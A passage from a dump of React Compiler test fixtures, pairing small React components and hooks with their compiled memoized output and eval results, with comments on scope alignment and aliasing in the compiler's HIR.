    "content": "import {\n  Stringify,\n  mutate,\n  identity,\n  shallowCopy,\n  setPropertyByKey,\n} from 'shared-runtime';\n\n/**\n * This fixture is similar to `bug-aliased-capture-aliased-mutate` and\n * `nonmutating-capture-in-unsplittable-memo-block`, but with a focus on\n * dependency extraction.\n *\n * NOTE: this fixture is currently valid, but will break with optimizations:\n * - Scope and mutable-range based reordering may move the array creation\n *     *after* the `mutate(aliasedObj)` call. This is invalid if mutate\n *     reassigns inner properties.\n * - RecycleInto or other deeper-equality optimizations may produce invalid\n *     output -- it may compare the array's contents / dependencies too early.\n * - Runtime validation for immutable values will break if `mutate` does\n *     interior mutation of the value captured into the array.\n *\n * Before scope block creation, HIR looks like this:\n *  //\n *  // $1 is unscoped as obj's mutable range will be\n *  // extended in a later pass\n *  //\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  //\n *  // $3 gets assigned a scope as Array is an allocating\n *  // instruction, but this does *not* get extended or\n *  // merged into the later mutation site.\n *  // (explained in `bug-aliased-capture-aliased-mutate`)\n *  //\n *  $3@1  = Array[$2]\n *  ...\n *  $10@0 = LoadLocal shallowCopy@0[0, 12]\n *  $11   = LoadGlobal mutate\n *  $12   = $11($10@0[0, 12])\n *\n * When filling in scope dependencies, we find that it's incorrect to depend on\n * PropertyLoads from obj as it hasn't completed its mutable range. Following\n * the immutable / mutable-new typing system, we check the identity of obj to\n * detect whether it was newly created (and thus mutable) in this render pass.\n *\n * HIR with scopes looks like this.\n * bb0:\n *  $1    = LoadLocal obj@0[0:12]\n *  $2    = PropertyLoad $1.id\n *  scopeTerminal deps=[obj@0] block=bb1 fallt=bb2\n * bb1:\n *  $3@1  = Array[$2]\n *  goto bb2\n * bb2:\n *  ...\n *\n * This is surprising as deps now is entirely decoupled from temporaries used\n * by the block itself. scope @1's instructions now reference a value (1)\n * produced outside its scope range and (2) not represented in its dependencies\n *\n * The right thing to do is to ensure that all Loads from a value get assigned\n * the value's reactive scope. This also requires track mutating and aliasing\n * separately from scope range. In this example, that would correctly merge\n * the scopes of $3 with obj.\n * Runtime validation and optimizations such as ReactiveGraph-based reordering\n * require this as well.\n *\n * A tempting fix is to instead extend $3's ReactiveScope range up to include\n * $2 (the PropertyLoad). This fixes dependency deduping but not reordering\n * and mutability.\n */\nfunction Component({prop}) {\n  let obj = shallowCopy(prop);\n  const aliasedObj = identity(obj);\n\n  // [obj.id] currently is assigned its own reactive scope\n  const id = [obj.id];\n\n  // Writing to the alias may reassign to previously captured references.\n  // The compiler currently produces valid output, but this breaks with\n  // reordering, recycleInto, and other potential optimizations.\n  mutate(aliasedObj);\n  setPropertyByKey(aliasedObj, 'id', prop.id + 1);\n\n  return <Stringify id={id} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{prop: {id: 1}}],\n  sequentialRenders: [{prop: {id: 1}}, {prop: {id: 1}}, {prop: {id: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n\n/**\n * Similar fixture to `align-scopes-nested-block-structure`, but\n * a simpler case.\n */\nfunction useFoo(cond) {\n  let s = null;\n  if (cond) {\n    s = {};\n  } else {\n    return null;\n  }\n  mutate(s);\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n\n/**\n * Similar fixture to `align-scopes-nested-block-structure`, but\n * a simpler case.\n */\nfunction useFoo(cond) {\n  const $ = _c(3);\n  let s;\n  let t0;\n  if ($[0] !== cond) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      if (cond) {\n        s = {};\n      } else {\n        t0 = null;\n        break bb0;\n      }\n\n      mutate(s);\n    }\n    $[0] = cond;\n    $[1] = t0;\n    $[2] = s;\n  } else {\n    t0 = $[1];\n    s = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"wat0\":\"joe\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scope-starts-within-cond.ts",
    "content": "import {mutate} from 'shared-runtime';\n\n/**\n * Similar fixture to `align-scopes-nested-block-structure`, but\n * a simpler case.\n */\nfunction useFoo(cond) {\n  let s = null;\n  if (cond) {\n    s = {};\n  } else {\n    return null;\n  }\n  mutate(s);\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {getNull} from 'shared-runtime';\n\nfunction Component(props) {\n  const items = (() => {\n    return getNull() ?? [];\n  })();\n  items.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { getNull } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let items;\n  if ($[0] !== props.a) {\n    items = getNull() ?? [];\n\n    items.push(props.a);\n    $[0] = props.a;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-iife-return-modified-later-logical.ts",
    "content": "import {getNull} from 'shared-runtime';\n\nfunction Component(props) {\n  const items = (() => {\n    return getNull() ?? [];\n  })();\n  items.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate} from 'shared-runtime';\n/**\n * Fixture showing that it's not sufficient to only align direct scoped\n * accesses of a block-fallthrough pair.\n * Below is a simplified view of HIR blocks in this fixture.\n * Note that here, s is mutated in both bb1 and bb4. However, neither\n * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.\n *\n * This means that we need to recursively visit all scopes accessed between\n * a block and its fallthrough and extend the range of those scopes which overlap\n * with an active block/fallthrough pair,\n *\n *  bb0\n *  ┌──────────────┐\n *  │let s = null  │\n *  │test cond1    │\n *  │ <fallthr=bb3>│\n *  └┬─────────────┘\n *   │  bb1\n *   ├─►┌───────┐\n *   │  │s = {} ├────┐\n *   │  └───────┘    │\n *   │  bb2          │\n *   └─►┌───────┐    │\n *      │return;│    │\n *      └───────┘    │\n *  bb3              │\n *  ┌──────────────┐◄┘\n *  │test cond2    │\n *  │ <fallthr=bb5>│\n *  └┬─────────────┘\n *   │  bb4\n *   ├─►┌─────────┐\n *   │  │mutate(s)├─┐\n *   ▼  └─────────┘ │\n *  bb5             │\n *  ┌───────────┐   │\n *  │return s;  │◄──┘\n *  └───────────┘\n */\nfunction useFoo({cond1, cond2}) {\n  let s = null;\n  if (cond1) {\n    s = {};\n  } else {\n    return null;\n  }\n\n  if (cond2) {\n    mutate(s);\n  }\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond1: true, cond2: false}],\n  sequentialRenders: [\n    {cond1: true, cond2: false},\n    {cond1: true, cond2: false},\n    {cond1: true, cond2: true},\n    {cond1: true, cond2: true},\n    {cond1: false, cond2: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate } from \"shared-runtime\";\n/**\n * Fixture showing that it's not sufficient to only align direct scoped\n * accesses of a block-fallthrough pair.\n * Below is a simplified view of HIR blocks in this fixture.\n * Note that here, s is mutated in both bb1 and bb4. However, neither\n * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.\n *\n * This means that we need to recursively visit all scopes accessed between\n * a block and its fallthrough and extend the range of those scopes which overlap\n * with an active block/fallthrough pair,\n *\n *  bb0\n *  ┌──────────────┐\n *  │let s = null  │\n *  │test cond1    │\n *  │ <fallthr=bb3>│\n *  └┬─────────────┘\n *   │  bb1\n *   ├─►┌───────┐\n *   │  │s = {} ├────┐\n *   │  └───────┘    │\n *   │  bb2          │\n *   └─►┌───────┐    │\n *      │return;│    │\n *      └───────┘    │\n *  bb3              │\n *  ┌──────────────┐◄┘\n *  │test cond2    │\n *  │ <fallthr=bb5>│\n *  └┬─────────────┘\n *   │  bb4\n *   ├─►┌─────────┐\n *   │  │mutate(s)├─┐\n *   ▼  └─────────┘ │\n *  bb5             │\n *  ┌───────────┐   │\n *  │return s;  │◄──┘\n *  └───────────┘\n */\nfunction useFoo(t0) {\n  const $ = _c(4);\n  const { cond1, cond2 } = t0;\n  let s;\n  let t1;\n  if ($[0] !== cond1 || $[1] !== cond2) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      if (cond1) {\n        s = {};\n      } else {\n        t1 = null;\n        break bb0;\n      }\n\n      if (cond2) {\n        mutate(s);\n      }\n    }\n    $[0] = cond1;\n    $[1] = cond2;\n    $[2] = t1;\n    $[3] = s;\n  } else {\n    t1 = $[2];\n    s = $[3];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond1: true, cond2: false }],\n  sequentialRenders: [\n    { cond1: true, cond2: false },\n    { cond1: true, cond2: false },\n    { cond1: true, cond2: true },\n    { cond1: true, cond2: true },\n    { cond1: false, cond2: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {}\n{}\n{\"wat0\":\"joe\"}\n{\"wat0\":\"joe\"}\nnull"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-nested-block-structure.ts",
    "content": "import {mutate} from 'shared-runtime';\n/**\n * Fixture showing that it's not sufficient to only align direct scoped\n * accesses of a block-fallthrough pair.\n * Below is a simplified view of HIR blocks in this fixture.\n * Note that here, s is mutated in both bb1 and bb4. However, neither\n * bb1 nor bb4 have terminal fallthroughs or are fallthroughs themselves.\n *\n * This means that we need to recursively visit all scopes accessed between\n * a block and its fallthrough and extend the range of those scopes which overlap\n * with an active block/fallthrough pair,\n *\n *  bb0\n *  ┌──────────────┐\n *  │let s = null  │\n *  │test cond1    │\n *  │ <fallthr=bb3>│\n *  └┬─────────────┘\n *   │  bb1\n *   ├─►┌───────┐\n *   │  │s = {} ├────┐\n *   │  └───────┘    │\n *   │  bb2          │\n *   └─►┌───────┐    │\n *      │return;│    │\n *      └───────┘    │\n *  bb3              │\n *  ┌──────────────┐◄┘\n *  │test cond2    │\n *  │ <fallthr=bb5>│\n *  └┬─────────────┘\n *   │  bb4\n *   ├─►┌─────────┐\n *   │  │mutate(s)├─┐\n *   ▼  └─────────┘ │\n *  bb5             │\n *  ┌───────────┐   │\n *  │return s;  │◄──┘\n *  └───────────┘\n */\nfunction useFoo({cond1, cond2}) {\n  let s = null;\n  if (cond1) {\n    s = {};\n  } else {\n    return null;\n  }\n\n  if (cond2) {\n    mutate(s);\n  }\n\n  return s;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond1: true, cond2: false}],\n  sequentialRenders: [\n    {cond1: true, cond2: false},\n    {cond1: true, cond2: false},\n    {cond1: true, cond2: true},\n    {cond1: true, cond2: true},\n    {cond1: false, cond2: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({cond}) {\n  let items: any = {};\n  b0: {\n    if (cond) {\n      // Mutable range of `items` begins here, but its reactive scope block\n      // should be aligned to above the if-branch\n      items = [];\n    } else {\n      break b0;\n    }\n    items.push(2);\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { cond } = t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = {};\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  let items = t1;\n  if ($[1] !== cond) {\n    bb0: {\n      if (cond) {\n        items = [];\n      } else {\n        break bb0;\n      }\n\n      items.push(2);\n    }\n    $[1] = cond;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: true }],\n  sequentialRenders: [\n    { cond: true },\n    { cond: true },\n    { cond: false },\n    { cond: false },\n    { cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[2]\n{}\n{}\n[2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-if.ts",
    "content": "function useFoo({cond}) {\n  let items: any = {};\n  b0: {\n    if (cond) {\n      // Mutable range of `items` begins here, but its reactive scope block\n      // should be aligned to above the if-branch\n      items = [];\n    } else {\n      break b0;\n    }\n    items.push(2);\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true}],\n  sequentialRenders: [\n    {cond: true},\n    {cond: true},\n    {cond: false},\n    {cond: false},\n    {cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\nfunction useFoo({cond, value}) {\n  let items;\n  label: {\n    items = [];\n    // Mutable range of `items` begins here, but its reactive scope block\n    // should be aligned to above the label-block\n    if (cond) break label;\n    arrayPush(items, value);\n  }\n  arrayPush(items, value);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true, value: 2}],\n  sequentialRenders: [\n    {cond: true, value: 2},\n    {cond: true, value: 2},\n    {cond: true, value: 3},\n    {cond: false, value: 3},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { cond, value } = t0;\n  let items;\n  if ($[0] !== cond || $[1] !== value) {\n    bb0: {\n      items = [];\n\n      if (cond) {\n        break bb0;\n      }\n      arrayPush(items, value);\n    }\n\n    arrayPush(items, value);\n    $[0] = cond;\n    $[1] = value;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ cond: true, value: 2 }],\n  sequentialRenders: [\n    { cond: true, value: 2 },\n    { cond: true, value: 2 },\n    { cond: true, value: 3 },\n    { cond: false, value: 3 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[2]\n[3]\n[3,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-label.ts",
    "content": "import {arrayPush} from 'shared-runtime';\n\nfunction useFoo({cond, value}) {\n  let items;\n  label: {\n    items = [];\n    // Mutable range of `items` begins here, but its reactive scope block\n    // should be aligned to above the label-block\n    if (cond) break label;\n    arrayPush(items, value);\n  }\n  arrayPush(items, value);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{cond: true, value: 2}],\n  sequentialRenders: [\n    {cond: true, value: 2},\n    {cond: true, value: 2},\n    {cond: true, value: 3},\n    {cond: false, value: 3},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush, mutate} from 'shared-runtime';\n\nfunction useFoo({value}) {\n  let items = null;\n  try {\n    // Mutable range of `items` begins here, but its reactive scope block\n    // should be aligned to above the try-block\n    items = [];\n    arrayPush(items, value);\n  } catch {\n    // ignore\n  }\n  mutate(items);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 2}],\n  sequentialRenders: [{value: 2}, {value: 2}, {value: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush, mutate } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let items;\n  if ($[0] !== value) {\n    try {\n      items = [];\n      arrayPush(items, value);\n    } catch {}\n\n    mutate(items);\n    $[0] = value;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ value: 2 }],\n  sequentialRenders: [{ value: 2 }, { value: 2 }, { value: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2,\"joe\"]\n[2,\"joe\"]\n[3,\"joe\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-reactive-scope-overlaps-try.ts",
    "content": "import {arrayPush, mutate} from 'shared-runtime';\n\nfunction useFoo({value}) {\n  let items = null;\n  try {\n    // Mutable range of `items` begins here, but its reactive scope block\n    // should be aligned to above the try-block\n    items = [];\n    arrayPush(items, value);\n  } catch {\n    // ignore\n  }\n  mutate(items);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 2}],\n  sequentialRenders: [{value: 2}, {value: 2}, {value: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_TRUE, makeObject_Primitives} from 'shared-runtime';\n\nfunction Foo() {\n  try {\n    let thing = null;\n    if (cond) {\n      thing = makeObject_Primitives();\n    }\n    if (CONST_TRUE) {\n      mutate(thing);\n    }\n    return thing;\n  } catch {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_TRUE, makeObject_Primitives } from \"shared-runtime\";\n\nfunction Foo() {\n  const $ = _c(1);\n  try {\n    let thing;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      thing = null;\n      if (cond) {\n        thing = makeObject_Primitives();\n      }\n\n      if (CONST_TRUE) {\n        mutate(thing);\n      }\n      $[0] = thing;\n    } else {\n      thing = $[0];\n    }\n\n    return thing;\n  } catch {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-trycatch-nested-overlapping-range.ts",
    "content": "import {CONST_TRUE, makeObject_Primitives} from 'shared-runtime';\n\nfunction Foo() {\n  try {\n    let thing = null;\n    if (cond) {\n      thing = makeObject_Primitives();\n    }\n    if (CONST_TRUE) {\n      mutate(thing);\n    }\n    return thing;\n  } catch {}\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify, identity, makeArray, mutate} from 'shared-runtime';\n\n/**\n * Here, identity('foo') is an immutable allocating instruction.\n * `arr` is a mutable value whose mutable range ends at `arr.map`.\n *\n * The previous (reactive function) version of alignScopesToBlocks set the range of\n * both scopes to end at value blocks within the <></> expression.\n * However, both scope ranges should be aligned to the outer value block\n * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks\n * handles this correctly.\n */\nfunction Foo({cond1, cond2}) {\n  const arr = makeArray<any>({a: 2}, 2, []);\n\n  return cond1 ? (\n    <>\n      <div>{identity('foo')}</div>\n      <Stringify value={cond2 ? arr.map(mutate) : null} />\n    </>\n  ) : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond1: true, cond2: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify, identity, makeArray, mutate } from \"shared-runtime\";\n\n/**\n * Here, identity('foo') is an immutable allocating instruction.\n * `arr` is a mutable value whose mutable range ends at `arr.map`.\n *\n * The previous (reactive function) version of alignScopesToBlocks set the range of\n * both scopes to end at value blocks within the <></> expression.\n * However, both scope ranges should be aligned to the outer value block\n * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks\n * handles this correctly.\n */\nfunction Foo(t0) {\n  const $ = _c(3);\n  const { cond1, cond2 } = t0;\n  let t1;\n  if ($[0] !== cond1 || $[1] !== cond2) {\n    const arr = makeArray({ a: 2 }, 2, []);\n    t1 = cond1 ? (\n      <>\n        <div>{identity(\"foo\")}</div>\n        <Stringify value={cond2 ? arr.map(mutate) : null} />\n      </>\n    ) : null;\n    $[0] = cond1;\n    $[1] = cond2;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ cond1: true, cond2: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>foo</div><div>{\"value\":[null,null,null]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/align-scopes-within-nested-valueblock-in-array.tsx",
    "content": "import {Stringify, identity, makeArray, mutate} from 'shared-runtime';\n\n/**\n * Here, identity('foo') is an immutable allocating instruction.\n * `arr` is a mutable value whose mutable range ends at `arr.map`.\n *\n * The previous (reactive function) version of alignScopesToBlocks set the range of\n * both scopes to end at value blocks within the <></> expression.\n * However, both scope ranges should be aligned to the outer value block\n * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks\n * handles this correctly.\n */\nfunction Foo({cond1, cond2}) {\n  const arr = makeArray<any>({a: 2}, 2, []);\n\n  return cond1 ? (\n    <>\n      <div>{identity('foo')}</div>\n      <Stringify value={cond2 ? arr.map(mutate) : null} />\n    </>\n  ) : null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{cond1: true, cond2: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * This is a weird case as data has type `BuiltInMixedReadonly`.\n * The only scoped value we currently infer in this program is the\n * PropertyLoad `data?.toString`.\n */\nimport {useFragment} from 'shared-runtime';\n\nfunction Foo() {\n  const data = useFragment();\n  return [data?.toString() || ''];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * This is a weird case as data has type `BuiltInMixedReadonly`.\n * The only scoped value we currently infer in this program is the\n * PropertyLoad `data?.toString`.\n */\nimport { useFragment } from \"shared-runtime\";\n\nfunction Foo() {\n  const $ = _c(4);\n  const data = useFragment();\n  let t0;\n  if ($[0] !== data) {\n    t0 = data?.toString() || \"\";\n    $[0] = data;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = [t0];\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"[object Object]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-logical-expression-instruction-scope.ts",
    "content": "/**\n * This is a weird case as data has type `BuiltInMixedReadonly`.\n * The only scoped value we currently infer in this program is the\n * PropertyLoad `data?.toString`.\n */\nimport {useFragment} from 'shared-runtime';\n\nfunction Foo() {\n  const data = useFragment();\n  return [data?.toString() || ''];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n\nimport {identity, mutate, setProperty} from 'shared-runtime';\n\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDepNested(props) {\n  let x = {};\n  mutate(x);\n  let y = identity(identity(props.b) + 1);\n  setProperty(x, props.a);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: AllocatingPrimitiveAsDepNested,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    // change b\n    {a: 1, b: 3},\n    // change b\n    {a: 1, b: 4},\n    // change a\n    {a: 2, b: 4},\n    // change a\n    {a: 3, b: 4},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n\nimport { identity, mutate, setProperty } from \"shared-runtime\";\n\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDepNested(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a || $[1] !== props.b) {\n    const x = {};\n    mutate(x);\n    const t1 = identity(props.b) + 1;\n    let t2;\n    if ($[3] !== t1) {\n      t2 = identity(t1);\n      $[3] = t1;\n      $[4] = t2;\n    } else {\n      t2 = $[4];\n    }\n    const y = t2;\n    setProperty(x, props.a);\n    t0 = [x, y];\n    $[0] = props.a;\n    $[1] = props.b;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: AllocatingPrimitiveAsDepNested,\n  params: [{ a: 1, b: 2 }],\n  sequentialRenders: [\n    // change b\n    { a: 1, b: 3 },\n    // change b\n    { a: 1, b: 4 },\n    // change a\n    { a: 2, b: 4 },\n    // change a\n    { a: 3, b: 4 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"wat0\":\"joe\",\"wat1\":1},4]\n[{\"wat0\":\"joe\",\"wat1\":1},5]\n[{\"wat0\":\"joe\",\"wat1\":2},5]\n[{\"wat0\":\"joe\",\"wat1\":3},5]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep-nested-scope.js",
    "content": "// bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n\nimport {identity, mutate, setProperty} from 'shared-runtime';\n\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDepNested(props) {\n  let x = {};\n  mutate(x);\n  let y = identity(identity(props.b) + 1);\n  setProperty(x, props.a);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: AllocatingPrimitiveAsDepNested,\n  params: [{a: 1, b: 2}],\n  sequentialRenders: [\n    // change b\n    {a: 1, b: 3},\n    // change b\n    {a: 1, b: 4},\n    // change a\n    {a: 2, b: 4},\n    // change a\n    {a: 3, b: 4},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allocating-primitive-as-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\n// bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDep(props) {\n  let y = foo(bar(props).b + 1);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false\n// bar(props.b) is an allocating expression that produces a primitive, which means\n// that Forget should memoize it.\n// Correctness:\n//   - y depends on either bar(props.b) or bar(props.b) + 1\nfunction AllocatingPrimitiveAsDep(props) {\n  const $ = _c(2);\n  const t0 = bar(props).b + 1;\n  let t1;\n  if ($[0] !== t0) {\n    t1 = foo(t0);\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const y = t1;\n  return 